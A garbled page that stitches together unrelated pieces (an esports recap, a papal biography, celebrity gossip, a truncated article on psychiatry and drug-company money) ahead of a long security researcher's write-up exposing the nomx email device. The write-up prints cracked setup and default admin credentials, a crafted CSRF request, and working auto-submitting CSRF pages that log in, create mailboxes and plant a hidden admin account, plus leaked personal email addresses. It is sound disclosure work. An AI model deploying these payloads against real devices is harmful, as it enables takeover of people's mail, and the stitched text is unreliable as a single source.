KUDOS TO FRANCHESCA AND KAT! Also, I hope they turn this into a series, with illustrated videos covering all things race, gender and politics. THAT is something worth crowdfunding for too.
Next time you’re talking to someone who is unable to grasp the idea of privilege, send them this video. Because: reasons.The Hearthstone competitive recap: June 13th - June 19th
Welcome to the second edition of GosuGamers' "Hearthstone Competitive Recap", where we keep track of what has happened in our favorite game each week.
The "Hearthstone competitive recap" will be issued every Monday and will go over the major events in - and often outside - competitive Hearthstone. Blizzard's card game is in the middle of of its HCT campaign but there are also lots of other third party tournaments running in parallel, and this post will summarize everything for your convenience.
Enjoy!
Tournament recap:
RDU wins DreamHack Summer
After starting his career at this very tournament two years ago, Dima "Rdu" Radu returned to DHS victoriously. A 3-1 win against ex-Hearthlytics player Fr0zen won the Romanian his second DreamHack title of his career. This puts him in the exclusive club of players with repeat franchise victories, joining Firebat's double Gfinity trophies and ThijsNL's two European Championships.
Handsome guy wins HCT APAC Spring Championship
Korea secured a second representative at Blizzcon 2016. Handsomeguy, who barely missed the spot in the Winter Season by losing to fellow countryman DDaHyoNi in the finals, defeated two of his compatriots in Cater and Foot (4-3 both) before 4-2'ing Australian player EdwardElric for the coveted World Finals seed.
The line-up for the $50,000 StarLadder i-League finals is set
StanCifka, Naiman, Izoro and XieShuai joined JAB, DrHippi, Hoej and Xixo after the last stages of the World and China divisions. The grand finals themselves are coming on stream July 8-10 and will award the tournament winner with the meaty $20,000 cheque. Full coverage available here.
Major news and content:
IeSF seeks formation of "Athletes Commission"
Moves to legitimize eSports internationally continued today with the International eSports Federation (IeSF) announcing their intention to form an ‘Athletes Commission’. The formation of such a group would provide a link between the participants themselves and the world organisers, and the IeSF hope it is the next step toward eSports gaining IOC accreditation.
Sky announce airing of first UK 24/7 esports TV channel
Sky - a popular broadcasting, broadband and telephone service provider - have announced the airing of a 24-hour eSports channel, which will reportedly broadcast various eSports events, one of which is Turner's ELEAGUE, currently underway. The initiative comes as part of the expansion of eSports into the mainstream, with millions of individuals already spectating said events online.
DreamHack Valencia expands slots to 280
To accommodate the huge interest in their circuit, DreamHack are expanding to 280 slots for the swiss round starting with the Valencia stop. It remains to be seen whether this will mean increase in swiss rounds too, or the tournament will keep to the current format of nine swiss rounds into 16-man single elimination bracket.
Firebat, the Priest purist
RedBull talked with 2014 World Champion Firebat on the state of Anduin and why is he not seeing competitive play. Firebat addresses issues like consistency of card draw and class' reactive nature in a must-read article for all Hearthstone fans.
To watch/play next:
HCT Americas Spring Championship - June 25-26
Tune this weekend to see who will join Amnesiac as Americas' second representative at Blizzcon 2016. The player pool consists of Cydonia, Napoleaon, Rosty, PNC, Joster, Duane, DeerJason and Bradfordlee, guaranteeing us a break-out performance for a lesser known, aspiring card-slinger. Event coverage hub • Stream
GosuCup HCT Europe June
GosuCup HCT Europe is GosuGamers' own circuit of open events, with cups every Monday, Wednesday and Friday at 17:00 CEST. Everyone's free to join, compete for the prize pool of 7 HCT points and kickstart their world championship campaign by playing Hearthstone from home! Registration links here.
Decks and guides:
StarLadder World Division decklists
GosuCup SEA #3 decklists
Firebat's Patron Druid
Trump's Teachings: Dragon Priest
Trump's Teachings: N'Zoth Paladin
Trump's Teachings: ZooSt Leo, Pope Leo I from 440 to 461, is one of only two pontiffs – the other is Gregory I (590-604) – who have been universally recognised as “the Great”.
It was indeed providential that, while the Roman Empire was falling to pieces, the Church was governed by a strong and able administrator who sustained, and indeed increased, the prestige of the papacy.
At the root of Leo’s thought was his passionate conviction that St Peter’s primacy, conferred by Christ Himself, lived on in every pope, bringing grace to all generations.
Since this power had not originated in this world, it could not be destroyed by this world. Leo understood, though, that this argument implied a unified Church. He therefore vigorously attacked the heresies of his time.
Among them, the Manichees represented the forces of evil as co-eternal with those of good. The Nestorians attacked the description of the Virgin Mary as the Mother of God. The Monophysites refused to accept Christ as at once both human and divine and the Pelagians held that man could achieve goodness by his own unaided will.
Leo stamped on all these perversions. He held, though, that, while the devil reigned in every challenge to orthodoxy he had set up his throne among the Manichees.
The pope’s theological views largely prevailed at the Council of Chalcedon in 451; and when some delegates resisted his will he simply declared their conclusions invalid. As his supporters observed: “Peter has spoken through the mouth of Leo.”
Ninety-six of Leo’s sermons and 143 of his letters have survived, demonstrating the clarity and economy of his style. In 1754 Benedict XIV recognised him as a Doctor of the Church, another distinction which he shares among popes only with Gregory the Great.
Leo sharply slapped down any bishop who disputed his authority. His letters of admonition reached errant subordinates in Africa, Gaul, Spain and Italy.
Equally, he established a commission to guard against any corruption of the papacy’s God-given mission. “If we do not watch with the vigilance which is incumbent upon us,” he declared, “we could not excuse ourselves to Him who willed that we should be the sentinel.”
Leo’s strength of personality was also evident in his confrontations with secular power. In 452 he encountered Attila the Hun near Mantua, and persuaded him not to proceed to the sack of Rome. Again, in 455, he met the Vandal Gaiseric outside the walls of Rome and succeeded in preventing the city’s wholesale destruction.
Little is known of Leo’s early life, save that he received a long training in papal administration under his predecessors, Celestine I (422-32) and Sixtus III (432-40). This most Roman of popes, however, seems to have been born into a Tuscan family.The supermodel’s contract with the lingerie brand was NOT renewed and we can exclusively tell you why! Read on to find out why Miranda’s hanging up her wings.
Miranda Kerr will no longer be a Victoria’s Secret Angel. We can report that the 29-year-old model is losing her wings after nearly six years — so why is the Australian model parting ways with the brand?
Miranda Kerr’s Victoria’s Secret Contract:
Miranda’s $1 million, three-year contact wasn’t renewed and a source tells us it all came down to the terms of the agreement. “It all came down to contractual issues. Miranda is busy doing her own thing and working on her own projects and they couldn’t see eye-to-eye on the terms of the new contract.” While Miranda may be officially hanging up her wings she still plans on working with the brand — in fact, she’s already slated to strut her stuff on the runway for the 2013 Victoria’s Secret Fashion Show!
Miranda Kerr Fired From Victoria’s Secret? No! Still On Great Terms:
“Miranda Kerr is one of the best models in the history of the business – and easily one of the most popular. She is also a consummate professional. While her international commitments have kept her away from us more than we’d like over the past few years, she will always be an Angel to me. We have no plans to stop working with her. In fact, I’ve already invited her to walk the runway in this year’s fashion show and, happily, she’s agreed,” Victoria’s Secret chief marketing officer Ed Razek said.
While we’re sad to hear that Miranda is hanging up her wings we’re happy that she will still be working with the retailer — and we can’t wait to see her storm the runway during the annual show!
What do you think? Are you surprised by the news? Are you sad to hear that Miranda is surrendering her role as an Angel or do you think it’s about time the multi-tasking mom branched out?
Katrina Mitzeliotis
http://www.youtube.com/watch?v=KreJ4LjslgMThe Corrupt Alliance of the Psychiatric-Pharmaceutical Industry
In March 2009, the American Psychiatric Association announced that it would phase out pharmaceutical funding of continuing medical education seminars and meals at its conventions. However, the decision came only after years of controversial exposure of its conflict of interest with the pharmaceutical industry and the U.S. Senate Finance Committee requesting in July 2008 that the APA provide accounts for all of its pharmaceutical funding. Despite its announcement, within two months, the APA accepted more than $1.7 million in pharmaceutical company funds for its annual conference, held in San Francisco.
Not surprising. In 2002, the APA’s Anand Pandya said that without pharmaceutical industry funds, membership dues could escalate 455% from $540 a year to $3,000. Pandya is president of the National Alliance on Mental Illness (NAMI), which in 2009 was also asked to provide records of its pharmaceutical company funding to federal investigators. About 56% of its $12 million-a-year income comes from drug makers (more below).
Within a month of the APA’s announcement, its conflicts came under criticism again with the release of a study that found that 18 of the 20 members overseeing the revision of clinical guidelines for treating just three “mental disorders” had financial ties to drug companies. The common diagnoses generate some $25 billion a year in pharmaceutical sales.
Psychiatrists Top the List of Drug Maker Gifts
In June 2007, The New York Times reported that psychiatrists in Vermont and Minnesota topped the list of doctors receiving pharmaceutical company gifts and that this financial relationship corresponds to the “growing use of atypicals [new antipsychotics] in children.” From 2000 to 2005, drug maker payments to Minnesota psychiatrists rose more than six-fold to $1.6 million. During those same years, prescriptions of antipsychotics for children under the state’s insurance program rose more than nine-fold.
Conflicts Under Congressional Investigation
With the U.S. prescribing antipsychotics to children and adolescents at a rate six times greater than the U.K., and with 30 million Americans having taken antidepressants for a “chemical imbalance” that psychiatrists admit is a pharmaceutical marketing campaign, not scientific fact, it is no wonder that the conflict of interest between psychiatry and Big Pharma is under congressional investigation. The following is a summary of some of those under Senate Finance Committee investigation:
Joseph Biederman: Chief of the Program in Pediatric Psychopharmacology, Massachusetts General Hospital, Biederman has received research funds from 15 pharmaceutical companies. The New York Times exposed how Joseph Biederman earned $1.6 million in consulting fees from drug makers between 2000 and 2007 but did not report all of this income to Harvard University officials. His marketing of the theory that children have “bipolar” was attributed to the increase in antipsychotic drug sales for pediatric use in the United States—today 2.5 million children. Following exposure of his conflicts, he stepped down from a number of industry-funded clinical trials. In March 2009, in newly released court documents, Biederman was reported to have promised drug maker Johnson & Johnson in advance that his studies on the antipsychotic drug Risperidone would prove the drug to be effective when used on preschool age children.
Melissa DelBello: Research psychiatrist, University of Cincinnati was cited for her failure to disclose to the university much of what she had earned from pharmaceutical companies. In 2002, she was the lead author of a study that reported some patients benefited from the antipsychotic drug Seroquel, which is manufactured by AstraZeneca, which paid her $100,000 in 2003 and $80,000 in 2004. DelBello disclosed that she’d received $100,000 from the company between 2005 and 2007, but federal investigators discovered it was more than double that—$238,000.
Frederick Goodwin: Former National Institute of Mental Health (NIMH) director, Goodwin earned at least $1.3 million between 2000 and 2007 for giving marketing lectures to physicians on behalf of drug makers—a fact he did not reveal to the audience, broadcaster or producers of “The Infinite Mind,” that he hosted on the National Public Radio during its 10-year run. Subsequently, NPR removed the program from its schedule. Lichtenstein Creative Media issued a statement that this income was a violation of the contract between the company and Goodwin.
Charles Nemeroff: Professor and Chairman of Psychiatry and Behavioral Sciences, Emory University School of Medicine in Atlanta. From 2000 through 2006, Nemeroff received just over $960,000 from GlaxoSmithKline (GSK), but only disclosed no more than $35,000 to Emory. Between 2000 and 2007, Charles Nemeroff earned more than $2.8 million from various drug makers but failed to report at least $1.2 million. He signed a letter in 2004 promising Emory administrators that he would earn less than $10,000 a year from GSK but on the same day he was at a hotel earning $3,000 of what would become $170,000 in income from the company—17 times greater than the figure he agreed upon. He was the principal investigator for a five-year $3.9 billion grant financed by the NIMH for which GSK provided the drugs, during which he received more than the annual $10,000 threshold allowed from the company. In 2006, he stepped down as editor of Neuropsychopharmacology after publishing a favorable review of the vagus nerve stimulation (VNS) device, manufactured by Cyberonics, for which he was a paid consultant. In 2003, he coauthored a favorable review of three therapies in Nature Neuroscience failing to mention his significant financial interests in these, including owning the patent for one of the treatments—a lithium patch. Nemeroff has consulted for 21 drug and device companies simultaneously. In 1991 Nemeroff testified before the FDA on behalf of Eli Lilly in hearings into Prozac, saying that the drug did not cause suicidal acts of ideation—yet 13 years later, the FDA concluded the opposite and issued a black box warning about suicide risks. Nemeroff resigned his position at Emory in 2008.
Martin Keller: Professor of Psychiatry and Human Behavior at Brown University, chairman of the psychiatry department at the Alpert Medical School, Keller’s study (329) on GSK’s Paxil use in children and adolescents and its authors have been fiercely criticized in medical journals for allegedly misrepresenting data, suppressing information linking the drug to suicidal tendencies and reaching a conclusion unsupported by the relevant data. There are also claims that a GSK-affiliated employee ghostwrote Study 329, while Keller et al. made huge sums of money from the antidepressant manufacturer. In 1999, it was disclosed that while serving as chief of the psychiatry department |
to take a full dump of the OS contents to work with. The device was running Nginx so I wanted to look where the web root was to browse through the source and I also saw a couple of other programs starting on boot like dovecot and postfix. There were quite a few interesting things to look through!
Old software
I wanted to see exactly what was running on the device so I did a quick run down of the software that was installed and how it was configured, here's the list of what I could find:
Raspbian GNU/Linux 7 (wheezy) - last updated 7th May 2015
nginx version: nginx/1.2.1 - released 5th June 2012
PHP 5.4.45-0+deb7u5 - released 3rd September 2015
OpenSSL 1.0.1t - released 3rd May 2016
Dovecot 2.1.7 - released 29th May 2012
Postfix 2.9.6 - released 4th February 2013
MySQL Ver 14.14 Distrib 5.5.52 - released 6th September 2016
Setup - Server
It's interesting to see such outdated versions of software on there, if the device was built even remotely recently I'm not sure how you'd end up with such seriously old versions installed. I had a look for any auto-update mechanism that I could find but couldn't see anything on there. Perhaps the device will trigger some kind of update later when I go through the setup in the web interface so all may not be lost just yet. For now, it was interesting to know that everything on there seemed to be pretty standard for your everyday mail server, there were certainly no hints of anything proprietary.
After my quick dig around at the command line I decided to open up the browser and go through the setup process. You have to get the IP of the device from your router or DHCP server and connect to it in the browser.
We can't login just yet though as we don't have an account on the device so we have to manually navigate to the Setup page...
Further down the setup page we can create our own'superadmin' account and all we need is the setup password.
The only problem is I couldn't find the setup password anywhere so I had to hit the lost password link. This prompts me to create a new setup password and then instructs me to edit a PHP file on the device and paste the password in there!
Now, I'm not sure how someone is supposed to edit this PHP file right now because I can't see the SSH instructions anywhere nor can I see the setup password anywhere either. To save you all the trouble I extracted the hash of the original password whilst I had SSH access and you can see it here:
ec949c6a38322f160e8975cea965b4f6:1b84261e5d578c248825a58512175fa17d2bc118
It turns out this was pretty easy to break after I had a quick dig in the source to see how they generated the hash.
function generate_setup_password_salt() { $salt = time(). '*'. $_SERVER['REMOTE_ADDR']. '*'. mt_rand(0,60000); $salt = md5($salt); return $salt; } function encrypt_setup_password($password, $salt) { return $salt. ':'. sha1($salt. ':'. $password); }
Configuration
Soooo, yeah. I also had a dig around in the config file and stumbled over this which is used during the setup process.```language-php $CONF['min_password_length'] = 5; ```Anyway, the main point for now was that I managed to crack the setup password, which was `death`, with a quick tweet asking for help or I could have set my own if I needed so I could create an account and login to the device.
With my'superadmin' account created I could now begin the process of setting up my unhackable (not) email server. Interesting that my browser thinks the login page isn't secure huh.
Once logged in the site is pretty barren and the only real option is to add my new domain that will be used for my email address.
So I followed through the instructions and hit the 'New Domain' button where I was presented with the following screen.
I've no idea why the device can only support domains purchased through GoDaddy (I do) but I followed the instructions and purchased my domain, inserting the API keys into the screen as requested.
At this point I won't bore you with the rest of the terrible web interface but you setup a few mailboxes with credentials that can then be configured in your favourite mail client. Everything seems pretty darn standard for "The world's most secure communications protocol". The setup instructions also ask me to open a series of ports in my router and forward them to the nomx device:
port 26 / TCP
port 465 / TCP
port 587 / TCP
port 993 / TCP
port 995 / TCP
These must be the ports for their protocol! (Hint: these are standard email server ports) So, I decided to set my email account up in Thunderbird and sure enough, it didn't work. I couldn't for the life of me get this thing to work properly even just sending a basic email until I realised that they don't ask you to open port 25 in the instructions which is required as the standard SMTP port! I will detail more on what port 26 is for later but once I opened up port 25 I could at least send and receive email. Well, I could almost send and receive email.
Setup - Client
I use Thunderbird as my local mail client so I got to work on adding my shiny new and super secure email address. It's pretty easy going and just requires the usual parameters to setup an email address.
Everything looks good, but then something really unexpected happened that I just can't explain. Contrary to the claims all over the nomx website, Thunderbird is throwing up some warnings telling me that the email server needs a security exception. Shocker.
The same thing also happens again when I try to send an email!
Spam Hammer
The only problem with trying to send an email from a dynamic, residential IP address (the default here in the UK) is that you look incredibly'spammy'. ISPs and email providers just don't expect email to be sent from an IP like this and it's often something that malware would do. As a result, it gets blocked. It doesn't just go to the Spam Folder either, in a lot of cases the mail is rejected and sent back. This was exactly the case when I tried to send an email to my own Hotmail address and it was immediately returned.
This is great news, I can't send emails from my new super awesome secure email server to anyone with a Microsoft email account because they just return it. The story is pretty similar across the board with the email either being returned or put straight in the spam folder of the recipient. I tried against GMail and a few other large providers and found that not one of them made it to the inbox anywhere. After I got a few emails bounced I thought I'd check to see if my IP had been flagged yet and to my surprise it had already been placed on 3 blacklists!
This really isn't good unless you plan on constantly chasing your IP off blacklists or frequently changing your IP address to avoid it being blacklisted too widely. Certainly things we don't want to be thinking about.
Dynamic DNS
The IP address point above got me thinking, changing my public IP at home can basically happen at any point, I can power cycle my router and get a new one if I like. This device must have some kind of mechanism to poll a DDNS provider and give me a host name that always resolves to my home address. I could see in the DNS that I had 2 A records set, mail and localmail, that I hadn't set and one of them was my public IP and the other was the internal IP assigned to my nomx device (bit of an information leak?). I certainly hadn't set these so it must have been done for me. I ran grep over the code that powers the web interface and couldn't find any matches for the subdomains so I took a guess and dumped out the crontab of the root user which turned up something.
There was a script being run 60 seconds after the device boots and then again every 15 minutes which certainly sounds like a good candidate for a DDNS client! I dumped the script out which turned out to be a rather hacky python script. In short it did a few things:
Read in some config files from /var/nomx which listed public IP, domains etc...
Checked to see if current public IP and other variables matched those on disk.
If they don't match it polls the GoDaddy API and sets/updates the DNS records.
It also configures some UFW rules to ensure the necessary ports are open.
So, those GoDaddy API tokens that we required earlier were so the device can use GoDaddy as a DDNS provider! I can't begin to explain how wrong this so I'm not even going to try. It's dreadful.
The Magic
The 'trick up the sleeve' of this device is the ability for 2 people that own one to perform a "handshake" between their devices to setup a secure connection.
To send to other nomx users who have secure accounts on their nomx PES, you will need to create, what we call, a handshake between your nomx device and the other nomx device. You can do this by entering the Public IP of the other nomx device and the email address or domain (if entire domain is hosted on other nomx device).
source
Now, providing the email address and public IP of the other device didn't really seem like it was going to help us establish any kind of "handshake". I was expecting perhaps some kind of out of band communication of a pre-shared key or token for verification but no, nothing. You simply enter the email/domain of the other person and their current IP address (that they have to find from somewhere).
Once I've entered those details I'm returned to the main screen where I now have an entry representing the "handshake" I just did.
The weird thing is that absolutely nothing happened on the network when I did this. Nothing. There was no outbound traffic of any kind, and yes I've tried it with valid details in the field, but I can also confirm that nothing happens by looking at the source code. Nothing happened when I did this because nothing was supposed to happen. The entire create-handshake.php file is only 64 lines of code long. Of those over 20 are white space or comments and there's a few more for includes of the header/footer etc... The only thing of any significance that takes place in this file is that a new row is inserted into the database in the handshake table. Sure enough, I now had an entry in a table called handshake on the device.
The only problem was after running grep over the code directory I couldn't find any instances of where this is used other than when you create the handshake or when they are listed on the main page. None of the rest of the code makes reference to it. It did seem odd though that the default SMTP port is 25 and there was a reference here for port 26, which is listed in the nomx documentation as the port required "For nomx to nomx communication". As I was already way on my way to believing this was just a bog standard web server installed on a raspberry pi inside a big case doing absolutely nothing fancy, I relied on some of my postfix knowledge and started to dig around in the postfix config directories. Inside /etc/postfix/mysql I did find a file called mysql_handshake.cf which contained the following.
user = postfixadmin password = death hosts = 127.0.0.1 dbname = postfixadmin query = SELECT CONCAT(smtp,destination,port) FROM handshake WHERE domain = '%s'
This appears to be doing something like what we want and is taking the smtp, destination and port columns and joining them together. Looking at my earlier output from the handshake table that'd give me something like smtp:1.2.3.4:26 which would mean it was sending emails to port 26 at the destination and not port 25. After running over the entire postfix directory with grep though I couldn't find anywhere that this config file was mentioned, I would have expected to see it referenced in main.cf but no. To see what postfix was doing on port 26 I had a look at master.cf and sure enough, there was something defined for port 26.
smtp inet n - - - - smtpd 26 inet n - - - - smtpd -o syslog_name=postfix/handshake -o smtpd_use_tls=yes -o smtpd_tls_security_level=encrypt -o smtpd_sasl_auth_enable=no -o smtpd_enforce_tls=yes # -o milter_macro_daemon_name=ORIGINATING submission inet n - - - - smtpd -o syslog_name=postfix/endUser -o smtpd_tls_security_level=encrypt -o smtpd_sasl_auth_enable=yes -o smtpd_client_restrictions=permit_sasl_authenticated,reject -o milter_macro_daemon_name=ORIGINATING smtps inet n - - - - smtpd -o syslog_name=postfix/smtps -o smtpd_tls_security_level=encrypt -o smtpd_tls_wrappermode=yes -o smtpd_sasl_auth_enable=yes -o smtpd_client_restrictions=permit_sasl_authenticated,reject -o milter_macro_daemon_name=ORIGINATING
So, it certainly looks like it's doing something on port 26, although it looks like it's doing a whole lot of nothing out of the ordinary. To try and solve it and provide conclusive proof, we setup 2 nomx devices and went through the handshake procedure. We then closed port 26 on the firewall and tried to send an email. If the device actually uses port 26 then the email will fail, if it uses port 25 it will send just fine. After testing this the email did fail to send so it does mean that it is sending to port 26, which is absolutely no benefit whatsoever. The other interesting point this raised was that the IP address is hard-coded into the database and never updates so as soon as the IP of the other party changes, everything will break.
Web app testing
The next item on my list was the web application and having access to the source code made this a whole lot easier to test. After a cursory skim I could see that it was vulnerable to XSS and CSRF in countless places. This alone presented a pretty significant risk given that the web interface is effectively used to control the mail server.
With the ability to abuse CSRF you can carry out any action that is present in the web interface, which includes adding and removing domains, adding and deleting mailboxes and adding and configuring an SMTP mail relay... Just think about that one for a second. To prove the device was vulnerable to CSRF, beyond seeing there were no mitigations in the code, I fired up Fiddler and crafted a HTTP request to create a new mailbox with my session ID.
POST http://192.168.1.102/create-mailbox.php?domain=testingnomxsecurity.com HTTP/1.1 Host: 192.168.1.102 Cookie: PHPSESSID=39r4bb36385te1seds0dgtpt87 Content-Type: application/x-www-form-urlencoded Content-Length: 127 fUsername=csrf&fDomain=testingnomxsecurity.com&fPassword=csrf&fPassword2=csrf&fName=csrf&fActive=on&fMail=on&submit=Add+Mailbox
This created a new mailbox for csrf@testingnomxsecurity.com and set the user credentials so I could now login to send and receive emails from this address. This means I can now create arbitrary mailboxes on your domain and then send and receive emails from them. That's pretty devastating when I can create anything I want like sales@, billing@, ceo@ or any one of the countless and highly offensive names I can think of to then send emails from your domain. Of course, with the ability to create a mailbox comes the ability to delete a mailbox which I can also do with CSRF. Launching this attack is pretty easy and I create a basic page to provide my personal details for the handshake and could simply direct a nomx user there. If they want to setup a handshake they will view the page that contains my details, and the CSRF attack, and then login to their nomx device allowing for successful delivery. I wanted to take this one step further though and not have to have the user do anything at all. I wanted them to simply visit a page, even for a brief second, and have their device totally compromised. Turns out it wasn't that hard...
Undocumented admin account
After delving into the database on the device and browsing through a few tables, I saw something that horrified me. There was another admin account alongside my own that I hadn't created.
mysql> select * from admin; +------------------------+------------------------------------+---------------------+---------------------+--------+ | username | password | created | modified | active | +------------------------+------------------------------------+---------------------+---------------------+--------+ | admin@example.com | $1$d2242313$UJ6TolBZXSQQvrXvlMZO2/ | 2015-10-10 18:31:30 | 2016-10-24 21:35:46 | 1 | | scotthelme@hotmail.com | $1$7d33f257$qxWGsOPg1PX6Axu.NoNaK0 | 2017-03-13 17:24:05 | 2017-03-13 17:24:05 | 1 | +------------------------+------------------------------------+---------------------+---------------------+--------+
I extracted the hash and posted it to Twitter to see if I could crowd-source the input and it didn't take very long for someone to come back to me with the answer.
Further to my earlier request for help, can anyone look at this?
ec949c6a38322f160e8975cea965b4f6:1b84261e5d578c248825a58512175fa17d2bc118 — Scott Helme (@Scott_Helme) March 12, 2017
The password was, quite literally, "password". Sure enough I immediately opened up the web interface and I could indeed login with the username admin@example.com and the password password. I had full control of the device. This is inexplicably bad for more reasons than I care to list but coupled with the above CSRF attack I now don't need to depend on the user to be logged in to the device to perform administrative functions, I can simply login to the device with these admin credentials and do anything I like. All this requires is two simple iframes on a page.
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.1/jquery.min.js" integrity="sha256-hVVnYaiADRTO2PzUGmuLJr8BLUSjGIZsDYGmIJLv2b8=" crossorigin="anonymous"></script> <form action="http://192.168.1.102/login.php" method="POST" id="login" name="login"> <input type="hidden" value="admin@example.com" name="fUsername" id="fUsername"/> <input type="hidden" value="password" name="fPassword" id="fPassword"/> <input type="submit" value="Login"> </form> <script> $(document).ready(function(e) { $('#login').submit(); }); </script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.1/jquery.min.js" integrity="sha256-hVVnYaiADRTO2PzUGmuLJr8BLUSjGIZsDYGmIJLv2b8=" crossorigin="anonymous"></script> <form action="http://192.168.1.102/create-mailbox.php?domain=testingnomxsecurity.com" method="POST" id="mailbox" name="mailbox"> <input type="hidden" value="csrf" name="fUsername" id="fUsername"/> <input type="hidden" value="testingnomxsecurity.com" name="fDomain" id="fDomain"/> <input type="hidden" value="password" name="fPassword" id="fPassword"/> <input type="hidden" value="password" name="fPassword2" id="fPassword2"/> <input type="hidden" value="csrf" name="fName" id="fName"/> <input type="hidden" value="on" name="fActive" id="fActive"/> <input type="hidden" value="on" name="fMail" id="fMail"/> </form> <script> $(document).ready(function(e) { setTimeout(function() {$('#mailbox').submit();},3000); }); </script>
I owe a thanks to Paul for helping me perfect the payload here, I was tackling it the wrong way until he gave me this much easier solution. With these two iframes embedded on a page, if I were to visit that they would first authenticate me to the nomx device and then create a new mailbox of my choosing. I can then login to my brand new mail account on that domain and use it. You can also change the password of existing mailboxes because it doesn't ask for the current password to change it, allowing me access to all of your emails. You can configure an outbound mail relay for the device to intercept future communications and a whole bunch more. All an attacker needs to do with this is know the IP of the nomx device. Given that you get the client IP address thanks to the WebRTC extension of HTML5, iterating through the rest of what is probably a class C address space is easy and can be done in a flash. Let's not forget the nomx device also sets a localmail subdomain in DNS that contains the internal IP of the device! This is about as a bad as it can get and results in total compromise of the device for simply visiting a single webpage for a second or so, no user action required.
Update:
Doing an update like this, prior to publication, is a little unusual because I'd normally just make the changes and not need to mention the update as the article isn't finished yet. I've decided to add an "update" though to show you an interesting few steps in the process that I had to go through. I was a bit confused about how the whole setup process would work for a user receiving one of these devices, I had to extract and crack a hash to get it to work. I've seen poor documentation for new devices before, something that can be forgiven, but I soon learnt that my device didn't come with any paper documentation and it turns out it should have. I got a copy of the paper documentation and started reading. It also didn't mention the setup page anywhere because, as it turns out, you aren't supposed to use it at all. Your username and password to login to the device are listed in the documentation and it's so bad I had to scan a copy just to show you...
So this admin account I'd found was actually supposed to be there!! Not only is this utterly ridiculous there's also nothing prompting the user to change this password in the documentation nor are they required to change it on first login either. If the user never changes this password then you can use CSRF to attack the device with the default credentials. Aha, I hear you think, what if they do change the password! Well, it turns out that's not a problem either...
Creating an undocumented admin account
As I mentioned further up the page, there was the setup.php file that I originally used to create my own account but now seems to be redundant given our default admin account. For my CSRF attack to be 100% reliable though, and work around the user possibly having changed their password (unlikely), I could just create my own admin account on the device via CSRF.
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.1/jquery.min.js" integrity="sha256-hVVnYaiADRTO2PzUGmuLJr8BLUSjGIZsDYGmIJLv2b8=" crossorigin="anonymous"></script> <form action="http://192.168.1.102/setup.php" method="POST" id="admin" name="admin"> <input type="hidden" value="createadmin" name="form" id="form"/> <input type="hidden" value="death" name="setup_password" id="setup_password"/> <input type="hidden" value="anonymous@example.com" name="fUsername" id="fUsername"/> <input type="hidden" value="password" name="fPassword" id="fPassword"/> <input type="hidden" value="password" name="fPassword2" id="fPassword2"/> </form> <script> $(document).ready(function(e) { setTimeout(function() {$('#admin').submit();},1000); }); </script>
This will now create me a brand new admin account on the nomx device that is completely undetectable to the end user as there is nowhere to view/edit admin accounts on the device. I can now use this admin account for any subsequent CSRF attacks and be sure that the credentials will work and allow me to authenticate. This allows for a full compromise of any nomx device by an external attacker via CSRF or a local attacker on the network can either authenticate with the default account or create themselves an admin account to login with...
Other issues
There were a few other issues I came across whilst testing this device, some of which would be simple to fix and others not so much.
There are no automatic updates configured anywhere on this device that I can find. It's running hideously outdated software and there appears to be no mechanism to update it at all.
The device doesn't setup and configure SPF, DKIM or DMARC, which a good email provider/server should do.
The Relay Settings page writes user input into a config file without any sanitisation. This config file is then read in by Postfix. At a minimum I've managed to corrupt the config so Postfix won't start but perhaps there is an additional attack vector here.
The code is riddled with bad examples of how to do things and it seems was developed by one guy called'shawn' whose name appears throughout. They narrowly avoided one persistent XSS vulnerability by stripping tags followed by the comment /* should we even bother? */.
. There are a lot of edited and half baked files where the.php extension has been changed, presumably to stop them being visited in the browser. What this results in is the browser simply downloading the files instead.
extension has been changed, presumably to stop them being visited in the browser. What this results in is the browser simply downloading the files instead. The device uses self-signed certs throughout and they aren't even device specific. It's using the default ssl-cert-snakeoil.pem and ssl-cert-snakeoil.key in the Postfix config.
and in the Postfix config. Their main company website has the themes default 404 page with links to download it and to the Gantry theme framework: https://nomx.com/404
They also have a publicly accessible Joomla login, though I've not done any poking around here: https://nomx.com/administrator/
The device depends on the GoDaddy API to update its DNS record, if this changes or goes down/away then you have no mechanism to update DNS. There's also the issue of the 1 hour DNS TTL when your IP changes which means emails don't make it through for a short period.
The device only sets the 2 subdomains (mail and localmail) in DNS. With no MX record set it'd be wise to set an A record for the bare domain to help with external mail delivery too. Ideally they should just set an MX record...
Each user has a configured mailbox size of 10MB and without being able to SSH into the box you can't change this. Good luck sending any attachments.
They have what looks like an old config file on the disk that contains what looks like genuine user credentials.
office@nomx.comcastbiz.net:Good[redacted]77
The root user had various files containing things like the bash and mysql history in the home directory which contained several domains/emails of people who I assume helped to test the device.
shawn@digiland.com shawn@mcsp.com sam@sambarrow.com www.mcsp.com www.mcsp.net huntersnet.net huntersnet.co.uk hunters.com
The file /var/mail/root contains notification emails going back almost 2 years.
contains notification emails going back almost 2 years. There are several files in the web root that have bad extensions so can be directly downloaded in the browser.
http://192.168.1.102/main.php-orig http://192.168.1.102/main.php-shawn http://192.168.1.102/delete.php-orig http://192.168.1.102/templates/admin_edit-handshake.php-shawn http://192.168.1.102/templates/list-virtual.php-shawn http://192.168.1.102/templates/list-virtual.php-orig
How could I not mention security headers! There are a few headers that really should be set here like CSP and XFO at a minimum. Setting others like XCTO and XXP certainly wouldn't hurt either...
There are certain times when the box seems to throw 500 errors for no reason like when you try to access robots.txt, which doesn't exist.
Is this a scam?
It would be very easy to conclude that this is a scam. The device is running standard mail server software running on a Raspberry Pi, most of which is outdated. They have presented at countless tech shows and can be constantly found making bold statements of 'absolute security' yet didn't pick up a CSRF vulnerability in their web interface. Take this snippet for example:
We have things like "secure protocol and device", this box is using SMTP with self-signed certificates... The "nomx network" and "absolute assurance"... As far as I can tell the company isn't even eating their own dog food! You might not think they'd want to run some Raspberry Pi in a box in their office, but fear not, they also have a business solution.
On one of the pages on their site, that doesn't seem like it's intended to be public just yet ([link](https://nomx.com/2-uncategorised)), they also announce a $10,000 bounty!
Needless to say I will be buying one of those when they release it to claim the bitcoin, assuming the device doesn't cost $10,000!
One good thing
